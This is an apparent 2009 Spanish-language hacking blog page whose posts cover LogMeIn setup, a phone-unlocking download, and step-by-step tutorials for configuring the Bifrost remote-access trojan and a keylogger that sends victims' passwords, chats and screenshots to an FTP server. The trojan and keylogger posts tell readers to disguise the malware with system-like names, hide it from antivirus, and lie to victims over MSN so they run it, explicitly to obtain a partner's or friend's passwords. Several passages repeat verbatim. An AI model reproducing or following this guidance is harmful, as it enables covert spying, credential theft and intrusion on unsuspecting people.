Le damos click a Free User Luego esperamos que empezara un conteo regresivo, esperamos que se ponga a cero, le damos click al boton DownLoad y Descargamos. xD!
Ahora empezemos con el proceso, instalamos logmein luego siguiente, acepto y siguiente esos pasos seguir en el instalador xD!
Ahora cuando vayamos por aca, como en la imagen =D
Seguir las instrucciones de la imagen, alli poner la password para que nadie obtenga su cuenta.Cuando ustedes quieran entrar a monitorear el ordenador, este les pedira la pass, debe ser la que pusieron aqui xD!
Ahora vamos con el siguiente paso =P
Necesitamos crear la cuenta de LogMeIn para ello le damos click en Crear nuevo que el mismo software se encarga de ello xD! Deben Tener Su cuenta de Gmail O Yahoo Echa para entrar a esta opcion.
Ahora vamos al siguiente paso ...
Como veran en la imagen, Alli ponemos el Correo que creamos en Gmail o Yahoo xD!
Pondremos una Contraseña diferente, NO olvidar porque con esa entraremos a monotorizar nuestras PC a traves de http://www.logmeinsecure.com/
Eso es sencillo despues nos instalara el software y aparecera un icono gris en la barra de tareas por donde nos aparece la hora, estado de conexcion etc.
Ahora despues de instalado todo el software nos vamos a nuestra cuenta de Gmail o Yahoo xD!
Revisamos el correo y veremos un msj como el siguiente
El Correo debe decir Logmein custom y algo mas, clickeenlo y sigan las instrucciones, nomas denle click al enlace que les da adentro para que activen su cuenta y listo despues se van a:
www.logmeinsecure.com y entran con su cuenta de correo y la pass que pusieron cuando estaban creando su cuenta de logmein xD!
Lo coniguran al gusto y espero le entiendan bien a todo esto, es sencillo, sino ps usan el chat para preguntarme que yo les edito el tema xD!
Saludoooos XD! †Geek Site†®
viernes, 24 de julio de 2009
Libera Celulares con Unlock Movil
Unlock Movil
Te gustaria un programa para desbloquear cualquier celular?
Ps, ya lo tienes aqui!!!
Aquí les traigo este pequeño programa Unlock Movil (TEU) para que puedan desbloquear cualquier proveedor de servicios, en cualquier parte del mundo con un teléfono.
Desbloqueado solo resta colocarle una tarjeta sim de la emprea que usted desee y listo.
Es un AIO (all in one) Todo en uno, una recopilacion de herramientas para liberar todo tipo de culelares.
Descargar aqui: http://www.megaupload.com/?d=E4POWATQ
Saludooos de mi parte, pronto DVD completo para los que reparan cels.
martes, 21 de julio de 2009
Control Sobre Otras PC`s Con Troyanos!
Este es un tutorial pero del troyano bifrost que es uno de los mas comunes y el que todos saben usar, Pero aqui no se les publica a los que saben sino a los que ni cero captan!
Filename when installed: sera el nombre con el que se instalara nuestro server en el pc de la victima. Es recomendable un nombre que no levante sospechas y que parezca cosa del sistema, como SR032.exe, SIP43.exe etc.
Bien, ahora ya tenemos el server creado. Este sera el que deveremos enviar a nuestra victima, lo cual es algo mas complicado, pero no dificil. Para que resulte mas facil deveremos hacerlo indetectable para que los anti virus y enviarlo por correo o subirlo a algun servidor para que lo descarguen. (Dependiendo como sea visto publicare como hacerlo indetectable, para enviarlo oculto en otros archivos. xD!)
Despues el uso que le den, pues ya depende de cada quien… Mi trabajo es enseñar para que sepan portegerse y sepan el funcionamiento de ellos.
Pueden sacar informacion muy personal de la gente, como por ejemplo contraseñas...archivos e imagenes de su pc… etc, asi que tratenlo con respeto hacia la persona… no hagan lameradas… Como soy el hacker te vigilo sean buenos xD.
Les dejo una muestra, xD! Esto es una orientacion, despues pondre uno mas completo ya que si no esta encryptado no es mucho...
Asi que tomen nota chamakos/as
Bifrost
Bifrost es un troyano de conexion inversa, esto significa que el server se conecta a tu pc en vez de que tengas que conectarte vos a el, necesitando su ip. En estos momentos es unos de los mejores troyanos por ser muy usado.
Características: Cam Capture, File Manager, File Search, Offline/Online Keylogger, Password List (protected storage, cached passwords, icq, cd keys), Polymorphic Plugin, Process List, Remote Shell, Screen Capture, System Info and Windows List. Estan en ingles porque es en ingles el troyano, pero si ya saben y necesitan uno en español se los dejo aqui mismo.
Descargar aqui: http://www.megaupload.com/?d=Q3S83I0C Bifrost en Español
Descargar aqui: http://www.megaupload.com/?d=D6LZFFTJ Bifrost en Ingles
La prueba es con el bifrost en ingles, uds si prefieren el español se guian por las imagenes. xD!
Nota: Deshablitar el Antivirus para poder trabajar, uds no corren riesgo ademas el troyano no jode la PC, ya lo explique anteriormente.
Una vez descargado, ejecutenlo y les aparecera la pantalla principal del bifrost. En la parte inferior, hagan clic en Settings. (Configuraciones en español)
En Ports: Tienen 3 huecos a rellenar, Esto es el puerto por el que el sever se conectara con vosotros, Se conectara por el puerto que este primero escrito, si por este no puede lo ara por el 2º y sino por el 3º. En caso de que querais poner un solo puerto (por ejemplo el 2000) dejad los otros dos espacios en 0.
En Password: introduzcan uno que recuerden. (no olvidar)
En Name of Extension After Upload: pondremos addon.dat (es el nombre que tendra la extension)
Despues seleccionaremos tal y como se muestra en la imagen, la casilla, Msn style notification (para que al conectarse las victimas nos lo notifique con una ventana estilo a la del MSN)
Seleccionaremos tambien, Compress file transfer ( que comprimirá los datos de la transferencia de archivos para que se realice más rápido)
Si marcamos la casilla, Check password for incoming connections, nos pedira la contraseña cada vez que halla una coñexion.
Method to Determine Flag, es la forma que bifrost determina la bandera del pais de la victima. Podemos elegir segun las opciones de region e idioma del PC, o segun el idioma que utilice el teclado.
Una vez echo esto, damos a ok, y ahora cliqueamos en Builder, que es donde crearemos el server.
En Dynamic DNS/IP deveremos ingresar nuestra IP, que sera a la que se conectara nuestro server. Pero existe un problema, que cuando la IP es dinamica (es decir va cambiando) cuando nuestro server se intente conectar a nuestra PC, cuando esta cambie no lo podra hacer. Por esta razon deveremos crear una no-ip, que lo que hace es redireccionar siempre nuestro server a nuestra IP en caso de que cambie.
Dejen la IP de Su PC estatica para que no cambie.
Ahora pasemos a la lengueta o boton de la par que es Installation.
Filename when installed: sera el nombre con el que se instalara nuestro server en el pc de la victima. Es recomendable un nombre que no levante sospechas y que parezca cosa del sistema, como SR032.exe, SIP43.exe etc.
Directory to install to: sera el nombre de la carpeta donde se instalara. Esta estara dentro de Systen32, y como en la vez anterior, es aconsejable algo que no levante sospecha como Systcod, RZWIN, 309CF, etc.
El resto de las opciones lo mas aconsejable es marcarlas como en la imagen. (Si teneis alguna duda sobre que significa alguna de ellas, no duden en googlear o preguntar recomendable es googlear para aprender por tu cuenta)
Bien, ahora pasemos a Stealth.
Como en la vez anterior, os aconsejo marcar las mismas casillas que en la imagen.Aqui teneis su significado.
Stealth Mode: aqui elegimos el modo de ocultación del server. Si seleccionamos Visible mode,el server se ejecutara de forma visible. Si seleccionamos Cautious mode, el server se ejecutará de forma oculta, pero si no logra injectarse se cerrará para no ser descubierto. Si seleccionamos Agressive mode, el server se ejecutará de forma oculta, y si la inyección falla, intentará conectarse igual. (Opcion de uds, la explicacion no puede ser mas clara, recomendable las ultimas dos)
Set attribute hidden: el server tendrá la opción “Oculto” activada. Set older file date: el server y su carpeta tendrán su fecha de creación antiguas. Melt server: cuando el server sea ejecutado, va a desaparecer. Kernel level unhooking: esta opción sirve para lograr pasar más cantidad de firewalls. Igualmente no es recomendable activarla, ya que esa función puede presentar problemas.
Delayed Connection: sirve para darle al server un tiempo antes de ejecutarse. Si seleccionamos No delay se ejecutará inmediatamente . Con Delay to next reboot lo hará cuando la PC se reinicie. La tercera opción nos permite establecer un tiempo exacto, con días, minutos y horas, para que el server se ejecute. Hide Process: intenta ocultar el proceso del server. Esta función requiere que la víctima posea Windows XP y que el usuario sea administrador. Igualmente Kernel level unhooking es beta y es probable que no funcione correctamente.
La ventana de Miscellanius, es una forma de conectarse a una red TOR, pero por su complejidad y posibles fallos que pueda producir, es aconsejable no marcarla.( palabras que no entiendan investiguen en San Google)
Y bien, una vez echo esto, ya tenemos nuextro server configurado. Ahora hacemos clic en Build, y se creara el server.exe en la carpeta donde tengamos el bifrost.
Bien, ahora ya tenemos el server creado. Este sera el que deveremos enviar a nuestra victima, lo cual es algo mas complicado, pero no dificil. Para que resulte mas facil deveremos hacerlo indetectable para que los anti virus y enviarlo por correo o subirlo a algun servidor para que lo descarguen. (Dependiendo como sea visto publicare como hacerlo indetectable, para enviarlo oculto en otros archivos. xD!)
Despues el uso que le den, pues ya depende de cada quien… Mi trabajo es enseñar para que sepan portegerse y sepan el funcionamiento de ellos.
Pueden sacar informacion muy personal de la gente, como por ejemplo contraseñas...archivos e imagenes de su pc… etc, asi que tratenlo con respeto hacia la persona… no hagan lameradas… Como soy el hacker te vigilo sean buenos xD.
Les dejo una muestra, xD! Esto es una orientacion, despues pondre uno mas completo ya que si no esta encryptado no es mucho...
sábado, 18 de julio de 2009
Como Obtener Contraseñas de MSN, Yahoo, Hi5, MySpace y Mas..
Bueno muchachos/as querian conseguir la clave del novio o de la novia, querian hacerle una broma a un amigo u amiga, o querian saber como hacer esto, ps aqui se los dejo!
Le damos click en registrar, seguimos a la siguiente ventana...
Alli llenamos todos los datos que piden, y nos aparecera otra ventana...
Una vez activada tu cuenta nos vamos a buscar el filezilla que es el que descargamos junto con el keylogger, ps ejecutamos el filezilla le damos aceptar, next, next y instalar.
Ahora despues de creado el directorio (carpeta) nos vamos abrir el keylogger lo instalan le dan click siguiente, siguiente y ps les aparecera un icono asi despues de instalado.
De esa manera nos damos cuenta de que ya esta instalado en nuestra PC, recuerden que nosotros no corremos ningun riesgo esta es una herramienta para extraer datos por eso los antivirus las detectan.
Introducimos los datos del archivo serial que va en el rar del keylogger, le damos aceptar y despues nos vamos de nuevo al icono que aparece en la barra de tareas, click derecho y hacemos lo siguiente:
Nos vamos a instalacion remota y nos aparcera esto:
Nos vamos a la pestaña del lado izquierdo que dice Invisibilidad
Si queremos ponerle pass le damos activar, esto nomas es requerido si van al cyber, pero si tienen en su casa no es necesario.
Le damos siguiente nos aparecera otros datos dejamos vacio donde dice componentes adicionales y le damos siguiente.
Despues viene el cuadro de envio de registros que es alli donde pondremos recomendable cada dia porque asi no se les llena de tanto registro el FTP
Ahora lo siguiente:
Sigan los pasos de la imagen, ahora el servidor es ftp://ftp.usuarios.lycos.es/, despues el directorio que es la carpeta que creamos anteriormente en el filezilla, ahoara el usario y contraseña!
Antes de darle siguiente le damos probar haber si la conexion estara bien, si les aparece un msj aprobando la conexion ps podemos seguir, sino es que pusieron mal el directorio, el servidor, usuario o contraseña
Ahora... les aparecera una nueva ventanita que les dara el supuesto archivo .exe que es lo que van a enviar a sus victimas, tambn si van a los cyber dejenlo ahi y despues revisan su cuenta ftp!
El archivo .exe que les queda lo compriemen en winrar y lo mandan por msn. deben de mentir diciendo que es un nuevo programa o algo cuando la victima lo reciba le de click el keylogger se instalara invisiblemente y el les dira que eso no instala nada. xD!
Despues modifico el posrt que ya estoy cerote de tanto trabajar...
Nota: Esta es una orientacion, asi no les fincionara mucho, despues otro manual de como hacerlo indetectable y mandarlo adjunto a fotografias y mp3. Asi los antivirus no lo detectaran.
Empezemos...
Vamos a utilizar keylogger y el filezilla, uno es una herramienta FTP y el otro uds ya saben que es ps lo tengo en el blog!
Descargar aqui: http://www.megaupload.com/?d=D57THB7E
(Keylogger)
Nota: Si el antivirus lo detecta es logico, nomas deshabilitalo, no corres ningun riesgo.
Descargar aqui: http://www.megaupload.com/?d=RBA05Q3E (Filezilla)
Nota: Uno de cada servidor de descargas para que no tengan problemas.
Ahora ya descargados los dos archivos nos vamos a:
Alli crearemos una cuenta de FTP, que es donde nos enviara las contraseñas el keylogger.
Le damos click en registrar, seguimos a la siguiente ventana...
Alli llenamos todos los datos que piden, y nos aparecera otra ventana...
Cuando ya estemos registrados exitosamente ps nos vamos a nuestro Correo y revisamos el mail que nos enviaron. Y hacer lo de la imagen siguiente...
Una vez activada tu cuenta nos vamos a buscar el filezilla que es el que descargamos junto con el keylogger, ps ejecutamos el filezilla le damos aceptar, next, next y instalar.
Ahora vean que en el primer circulo seleccionado (imagen anterior) Pondremos: ftp.usuarios.lycos.es despues seguimos con el usuario y contraseña. (De la pagina de tripod)
Ahora ya entramos con nuestros datos asi que vamos con el siguiente paso que es crear una carpeta donde recibiremos las contraseñas, conversaciones, y mas!
Ahora despues de creado el directorio (carpeta) nos vamos abrir el keylogger lo instalan le dan click siguiente, siguiente y ps les aparecera un icono asi despues de instalado.De esa manera nos damos cuenta de que ya esta instalado en nuestra PC, recuerden que nosotros no corremos ningun riesgo esta es una herramienta para extraer datos por eso los antivirus las detectan.
Introducimos los datos del archivo serial que va en el rar del keylogger, le damos aceptar y despues nos vamos de nuevo al icono que aparece en la barra de tareas, click derecho y hacemos lo siguiente:
Nos vamos a instalacion remota y nos aparcera esto:
Nos vamos a la pestaña del lado izquierdo que dice Invisibilidad
Seleccionamos todas las casillas, y no darle aceptar todavia! nos vamos a seguridad
Si queremos ponerle pass le damos activar, esto nomas es requerido si van al cyber, pero si tienen en su casa no es necesario.
Ahora le damos en monotorizacion.
Ahi seleccionaran cada cuanto quieren que les envie capturas de pantalla el keylogger de la maquina que lo tiene.
Ahora ya terminado eso le damos aceptar y si le pusieron contraseñas ps tendran que ponerla cada vez que quieran entrar al keylogger, ahora nos vamos de nuevo a la barra de tareas, click derecho sobre el keylogger y nos vamos a instalacion remota nos aparecera esto.
Le damos siguiente nos aparecera otros datos dejamos vacio donde dice componentes adicionales y le damos siguiente.
Despues viene el cuadro de envio de registros que es alli donde pondremos recomendable cada dia porque asi no se les llena de tanto registro el FTP
Ahora lo siguiente:
Sigan los pasos de la imagen, ahora el servidor es ftp://ftp.usuarios.lycos.es/, despues el directorio que es la carpeta que creamos anteriormente en el filezilla, ahoara el usario y contraseña!
Antes de darle siguiente le damos probar haber si la conexion estara bien, si les aparece un msj aprobando la conexion ps podemos seguir, sino es que pusieron mal el directorio, el servidor, usuario o contraseña
Ahora... les aparecera una nueva ventanita que les dara el supuesto archivo .exe que es lo que van a enviar a sus victimas, tambn si van a los cyber dejenlo ahi y despues revisan su cuenta ftp!
El archivo .exe que les queda lo compriemen en winrar y lo mandan por msn. deben de mentir diciendo que es un nuevo programa o algo cuando la victima lo reciba le de click el keylogger se instalara invisiblemente y el les dira que eso no instala nada. xD!
Despues modifico el posrt que ya estoy cerote de tanto trabajar...
Nota: Esta es una orientacion, asi no les fincionara mucho, despues otro manual de como hacerlo indetectable y mandarlo adjunto a fotografias y mp3. Asi los antivirus no lo detectaran.
Actualizandooooo pronto!!!!
Suscribirse a:
Entradas (Atom)